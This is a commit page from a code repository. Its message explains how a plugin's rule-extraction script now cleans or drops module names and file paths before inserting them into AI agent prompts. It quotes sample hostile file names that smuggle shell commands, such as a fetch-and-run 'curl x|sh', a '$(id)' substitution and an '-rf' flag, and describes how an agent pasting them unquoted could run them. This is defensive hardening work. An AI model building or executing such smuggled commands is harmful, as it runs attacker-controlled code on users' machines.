summaryrefslogtreecommitdiff
path: root/plugins/code-modernization/scripts
diff options
context:
space:
mode:
authorMorgan Lunt <morganl@anthropic.com>2026-09-24 17:53:44 -0700
committerMorgan Lunt <morganl@anthropic.com>2026-09-24 18:02:19 -0700
commit70caddcb673ac8995d6a5191e02ac51de579d6c3 (patch)
treeb141641de448393a30064043798733f0f8eb3a4b /plugins/code-modernization/scripts
parent65b0f06f1bd6309b88ca8c3cc92e34d7a4f51f5f (diff)
code-modernization: check module and file names before they reach a prompt
extract-rules puts module names and file paths, which come from the repository's own file names, into agent prompts. They were already checked for traversal, control characters, backticks and angle brackets, but a name such as "a;curl x|sh.cbl" or "$(id).cbl" passed and could be run if an agent pasted it into a command unquoted. A module name and a domain are labels: they are never opened, so they are now cleaned instead of dropped (shell separators, quotes, glob and brace characters, a leading hyphen or space, and a dollar sign that opens an expansion become "_"), and the prompt says a name is a label only. A file path has to round-trip, so it is checked and dropped, with the drop counted and logged, when it holds a command separator, a quote, a glob, brace or bracket character, a dollar sign that opens an expansion ($(, ${, $HOME, $IFS, $@), leading or trailing whitespace, a ~ at the start of a word or after = or :, or a word that starts with - (a shell would split "a -rf.cbl" into a path and a flag). Backslashes are turned into / first, so the checks and a shell see one spelling and Windows-style paths keep working. A dollar sign before a digit or at the end stays allowed, as do #, @, ~ inside a word and a lone hyphen between spaces: mainframe member names use them ("PAY$001"), and a positional parameter expands to nothing or the shell's own name, never to anything the file's author controls. The extractor prompt also says to open paths with the Read tool and to wrap any that goes in a shell command in single quotes.
Diffstat (limited to 'plugins/code-modernization/scripts')
0 files changed, 0 insertions, 0 deletions